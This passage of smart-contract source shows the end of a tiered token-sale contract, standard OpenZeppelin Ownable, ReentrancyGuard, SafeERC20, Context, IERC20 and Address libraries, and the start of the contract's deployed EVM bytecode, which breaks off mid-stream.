public view returns (uint256 maxAmountCollected) { for (uint8 i = 1; i <= NUMBER_TIERS; i++) { maxAmountCollected += (allocationCostPerTier[i] * numberOfParticipantsForATier[i]); } return maxAmountCollected * priceOfETHInLOOKS; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol) pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
0x6080604052600436106101c15760003560e01c806385948f1c116100f7578063d0e30db011610095578063f6da1cd411610064578063f6da1cd414610540578063f79bbab91461056d578063f7c618c1146105a1578063f9902bb1146105d557600080fd5b8063d0e30db0146104ed578063e6145c6c146104f5578063f0b52fd41461050b578063f2fde38b1461052057600080fd5b8063aabb75d0116100d1578063aabb75d014610482578063ad52a6b7146104a2578063b81e429d146104b7578063c9d03586146104cd57600080fd5b806385948f1c146104215780638da5cb5b14610441578063996eaaf21461046c57600080fd5b806336db9fb2116101645780634641257d1161013e5780634641257d146103aa5780635fd8e6cc146103bf578063715018a6146103df57806379ba99cf146103f457600080fd5b806336db9fb2146103275780633ccfd60b1461038057806343ab3c4f1461039557600080fd5b80631959a002116101a05780631959a002146102545780631c6b823d146102c85780631f7cc4af146102ef57806334eee9671461031157600080fd5b8062fa9ff9146101c6578063055ad42e1461020d578063097aad1014610234575b600080fd5b3480156101d257600080fd5b506101fa7f0000000000000000000000000000000000000000001b5d9928bd8a8a115a000081565b6040519081526020015b60405180910390f35b34801561021957600080fd5b506002546102279060ff1681565b6040516102049190613036565b34801561024057600080fd5b506101fa61024f366004612e5c565b6105f5565b34801561026057600080fd5b5061029e61026f366004612e5c565b6009602052600090815260409020805460019091015460ff808216916101008104821691620100009091041684565b6040805194855260ff90931660208501529015159183019190915215156060820152608001610204565b3480156102d457600080fd5b506102dd600381565b60405160ff9091168152602001610204565b3480156102fb57600080fd5b5061030f61030a366004612f3e565b6107aa565b005b34801561031d57600080fd5b506101fa60045481565b34801561033357600080fd5b5061035b7f000000000000000000000000f4d2888d29d722226fafa5d9b24f9164c092421e81565b60405173ffffffffffffffffffffffffffffffffffffffff9091168152602001610204565b34801561038c57600080fd5b5061030f6108ec565b3480156103a157600080fd5b5061030f610db9565b3480156103b657600080fd5b5061030f610f31565b3480156103cb57600080fd5b5061030f6103da366004612f3e565b6112e8565b3480156103eb57600080fd5b5061030f611474565b34801561040057600080fd5b506101fa61040f366004612f70565b60076020526000908152604090205481565b34801561042d57600080fd5b5061030f61043c366004612f8b565b611501565b34801561044d57600080fd5b5060005473ffffffffffffffffffffffffffffffffffffffff1661035b565b34801561047857600080fd5b506101fa60035481565b34801561048e57600080fd5b5061030f61049d366004612e77565b6116d1565b3480156104ae57600080fd5b5061030f611a19565b3480156104c357600080fd5b506101fa60055481565b3480156104d957600080fd5b5061030f6104e8366004612f1d565b611d62565b61030f61230f565b34801561050157600080fd5b506101fa60065481565b34801561051757600080fd5b506101fa61262e565b34801561052c57600080fd5b5061030f61053b366004612e5c565b612698565b34801561054c57600080fd5b506101fa61055b366004612f70565b60086020526000908152604090205481565b34801561057957600080fd5b506101fa7f0000000000000000000000000000000000000000000000000000000000e998c881565b3480156105ad57600080fd5b5061035b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281565b3480156105e157600080fd5b5061030f6105f0366004612e5c565b6127c8565b73ffffffffffffffffffffffffffffffffffffffff8116600090815260096020526040812060010154610100900460ff161580610660575073ffffffffffffffffffffffffffffffffffffffff821660009081526009602052604090206001015462010000900460ff165b1561066d57506000919050565b6006546040517f70a082310000000000000000000000000000000000000000000000000000000081523060048201526000919073ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc216906370a082319060240160206040518083038186803b1580156106f957600080fd5b505afa15801561070d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107319190612f57565b61073b91906130c8565b73ffffffffffffffffffffffffffffffffffffffff84166000908152600960209081526040808320805460055460019092015460ff168552600790935290832054939450919290919061078e908561311b565b61079891906130e0565b6107a29190613158565b949350505050565b60005473ffffffffffffffffffffffffffffffffffffffff163314610830576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600060025460ff1660048111156108495761084961325c565b146108b0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f4f776e65723a205068617365206d7573742062652050656e64696e67000000006044820152606401610827565b60048190556040518181527f2ec937348bdcd8272bc220f00581b5cb47c8b014f743febcf8c9c9002b5e78af906020015b60405180910390a150565b60026001541415610959576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610827565b6002600155600460025460ff1660048111156109775761097761325c565b146109de576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f57697468647261773a205068617365206d7573742062652057697468647261776044820152606401610827565b33600090815260096020526040902060010154610100900460ff16610a5f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f57697468647261773a2055736572206e6f7420656c696769626c6500000000006044820152606401610827565b3360009081526009602052604090206001015462010000900460ff1615610ae2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f57697468647261773a2048617320616c72656164792077697468647261776e006044820152606401610827565b6006546040517f70a082310000000000000000000000000000000000000000000000000000000081523060048201526000919073ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc216906370a082319060240160206040518083038186803b158015610b6e57600080fd5b505afa158015610b82573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ba69190612f57565b610bb091906130c8565b336000908152600960209081526040808320805460055460019092015460ff1685526007909352908320549394509192909190610bed908561311b565b610bf791906130e0565b610c019190613158565b90508015610cbe573360009081526009602052604081208054839290610c289084906130c8565b925050819055508060066000828254610c4191906130c8565b90915550610c88905073ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2163383612a23565b60405181815233907fc9695243a805adb74c91f28311176c65b417e842d5699893cef56d18bfa48cba9060200160405180910390a25b505033600090815260096020908152604080832060010180547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ffff8116620100001790915560045460ff90911684526007909252822054610d1e919061311b565b9050610d6173ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000f4d2888d29d722226fafa5d9b24f9164c092421e163383612a23565b3360008181526009602090815260409182902060010154825160ff90911681529081018490527fe3054ec6f352b09a86839beeeceb27ed4684f9164eb61f4a5d6d159ee8789d74910160405180910390a25060018055565b600360025460ff166004811115610dd257610dd261325c565b14610e39576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f50686173653a204d757374206265205374616b696e67000000000000000000006044820152606401610827565b600354431015610ecb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602660248201527f50686173653a20546f6f206561726c7920746f207570646174652073616c652060448201527f73746174757300000000000000000000000000000000000000000000000000006064820152608401610827565b600280547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001660049081179091556040517ff67ed3f575b43d45ed40fcb3338822a7176804dacbad665bfbe01d596fe5b65891610f2791613036565b60405180910390a1565b60026001541415610f9e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610827565b6002600155600360025460ff166004811115610fbc57610fbc61325c565b14611023576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601e60248201527f486172766573743a205068617365206d757374206265205374616b696e6700006044820152606401610827565b33600090815260096020526040902060010154610100900460ff166110a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f486172766573743a2055736572206e6f7420656c696769626c650000000000006044820152606401610827565b6006546040517f70a082310000000000000000000000000000000000000000000000000000000081523060048201526000919073ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc216906370a082319060240160206040518083038186803b15801561113057600080fd5b505afa158015611144573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111689190612f57565b61117291906130c8565b336000908152600960209081526040808320805460055460019092015460ff16855260079093529083205493945091929091906111af908561311b565b6111b991906130e0565b6111c39190613158565b90508061122c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f486172766573743a204e6f7468696e6720746f207472616e73666572000000006044820152606401610827565b336000908152600960205260408120805483929061124b9084906130c8565b92505081905550806006600082825461126491906130c8565b909155506112ab905073ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2163383612a23565b60405181815233907fc9695243a805adb74c91f28311176c65b417e842d5699893cef56d18bfa48cba9060200160405180910390a2505060018055565b60005473ffffffffffffffffffffffffffffffffffffffff163314611369576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610827565b7f0000000000000000000000000000000000000000000000000000000000e998c881111561143f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152604760248201527f4f776e65723a20426c6f636b20666f72207769746864726177616c206d75737460448201527f206265206c6f776572207468616e206d617820626c6f636b20666f722077697460648201527f6864726177616c00000000000000000000000000000000000000000000000000608482015260a401610827565b60038190556040518181527fdcd248c98d6a98d5b6ce62b32ff1d6ac37cb4477a79e6d3a63204fa23cf0a10e906020016108e1565b60005473ffffffffffffffffffffffffffffffffffffffff1633146114f5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610827565b6114ff6000612ab5565b565b60005473ffffffffffffffffffffffffffffffffffffffff163314611582576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610827565b600060025460ff16600481111561159b5761159b61325c565b14611602576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f4f776e65723a205068617365206d7573742062652050656e64696e67000000006044820152606401610827565b60008260ff161180156116195750600360ff831611155b61167f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f4f776e65723a2054696572206f757473696465206f662072616e6765000000006044820152606401610827565b60ff8216600081815260076020908152604091829020849055815192835282018390527fc32d3da121d033455a3d63554389cfb02231069639f7d480f7881a343b9e70f4910160405180910390a15050565b60005473ffffffffffffffffffffffffffffffffffffffff163314611752576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610827565b600060025460ff16600481111561176b5761176b61325c565b146117d2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f4f776e65723a205068617365206d7573742062652050656e64696e67000000006044820152606401610827565b60008160ff161180156117e95750600360ff821611155b61184f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f4f776e65723a2054696572206f757473696465206f662072616e6765000000006044820152606401610827565b60005b828110156119b057600960008585848181106118705761187061328b565b90506020020160208101906118859190612e5c565b73ffffffffffffffffffffffffffffffffffffffff16815260208101919091526040016000206001015460ff1615611919576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601760248201527f4f776e65723a205469657220616c7265616479207365740000000000000000006044820152606401610827565b81600960008686858181106119305761193061328b565b90506020020160208101906119459190612e5c565b73ffffffffffffffffffffffffffffffffffffffff168152602081019190915260400160002060010180547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001660ff92909216919091179055806119a8816131d4565b915050611852565b5060ff8116600090815260086020526040812080548492906119d39084906130c8565b90915550506040517f3bb4938c38fee7f595b40fb7501b5e901c1cf1a91dc0c99ebefd90eed30687d990611a0c90859085908590612fd1565b60405180910390a1505050565b60005473ffffffffffffffffffffffffffffffffffffffff163314611a9a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610827565b60026001541415611b07576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610827565b6002600181905560025460ff166004811115611b2557611b2561325c565b14611b8c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601960248201527f4f776e65723a205068617365206d757374206265204f766572000000000000006044820152606401610827565b60055460405160009133918381818185875af1925050503d8060008114611bcf576040519150601f19603f3d011682016040523d82523d6000602084013e611bd4565b606091505b5050905080611c3f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f4f776e65723a205472616e73666572206661696c0000000000000000000000006044820152606401610827565b7f0000000000000000000000000000000000000000001b5d9928bd8a8a115a0000600454600554611c70919061311b565b1015611cf7576000600454600554611c88919061311b565b611cb2907f0000000000000000000000000000000000000000001b5d9928bd8a8a115a0000613158565b9050611cf573ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000f4d2888d29d722226fafa5d9b24f9164c092421e163383612a23565b505b600280547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001660039081179091556040517ff67ed3f575b43d45ed40fcb3338822a7176804dacbad665bfbe01d596fe5b65891611d5391613036565b60405180910390a15060018055565b60005473ffffffffffffffffffffffffffffffffffffffff163314611de3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610827565b6001816004811115611df757611df761325c565b141561217c57600060025460ff166004811115611e1657611e1661325c565b14611e7d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f4f776e65723a205068617365206d7573742062652050656e64696e67000000006044820152606401610827565b600060045411611ee9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e65723a2045786368616e67652072617465206d757374206265203e20306044820152606401610827565b7f0000000000000000000000000000000000000000001b5d9928bd8a8a115a0000611f1261262e565b14611f79576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f4f776e65723a2057726f6e6720616d6f756e74206f66204c4f4f4b53000000006044820152606401610827565b6040517f70a082310000000000000000000000000000000000000000000000000000000081523060048201527f0000000000000000000000000000000000000000001b5d9928bd8a8a115a0000907f000000000000000000000000f4d2888d29d722226fafa5d9b24f9164c092421e73ffffffffffffffffffffffffffffffffffffffff16906370a082319060240160206040518083038186803b15801561202057600080fd5b505afa158015612034573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120589190612f57565b10156120e6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602760248201527f4f776e65723a204e6f7420656e6f756768204c4f4f4b5320696e20746865206360448201527f6f6e7472616374000000000000000000000000000000000000000000000000006064820152608401610827565b4360035411612177576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602760248201527f4f776e65723a20426c6f636b20666f72207769746864726177616c2077726f6e60448201527f676c7920736574000000000000000000000000000000000000000000000000006064820152608401610827565b61229e565b60028160048111156121905761219061325c565b141561221657600160025460ff1660048111156121af576121af61325c565b14612177576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f4f776e65723a205068617365206d757374206265204465706f736974000000006044820152606401610827565b6040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602260248201527f4f776e65723a2043616e6e6f742075706461746520746f20746869732070686160448201527f73650000000000000000000000000000000000000000000000000000000000006064820152608401610827565b600280548291907fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001660018360048111156122db576122db61325c565b02179055507ff67ed3f575b43d45ed40fcb3338822a7176804dacbad665bfbe01d596fe5b658816040516108e19190613036565b6002600154141561237c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610827565b6002600190815560025460ff16600481111561239a5761239a61325c565b14612401576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601e60248201527f4465706f7369743a205068617365206d757374206265204465706f73697400006044820152606401610827565b3360009081526009602052604090206001015460ff1661247d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f4465706f7369743a204e6f742077686974656c697374656400000000000000006044820152606401610827565b33600090815260096020526040902060010154610100900460ff16156124ff576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f4465706f7369743a20486173206465706f7369746564000000000000000000006044820152606401610827565b3360009081526009602090815260408083206001015460ff1683526007909152902054341461258a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f4465706f7369743a2057726f6e6720616d6f756e7400000000000000000000006044820152606401610827565b33600090815260096020526040812060010180547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff16610100179055600580543492906125d89084906130c8565b90915550503360008181526009602090815260409182902060010154915160ff90921682527fad2e6c88b0f5fc3ff908e76d24409bcbd07a8a6da62cb7e25c8e9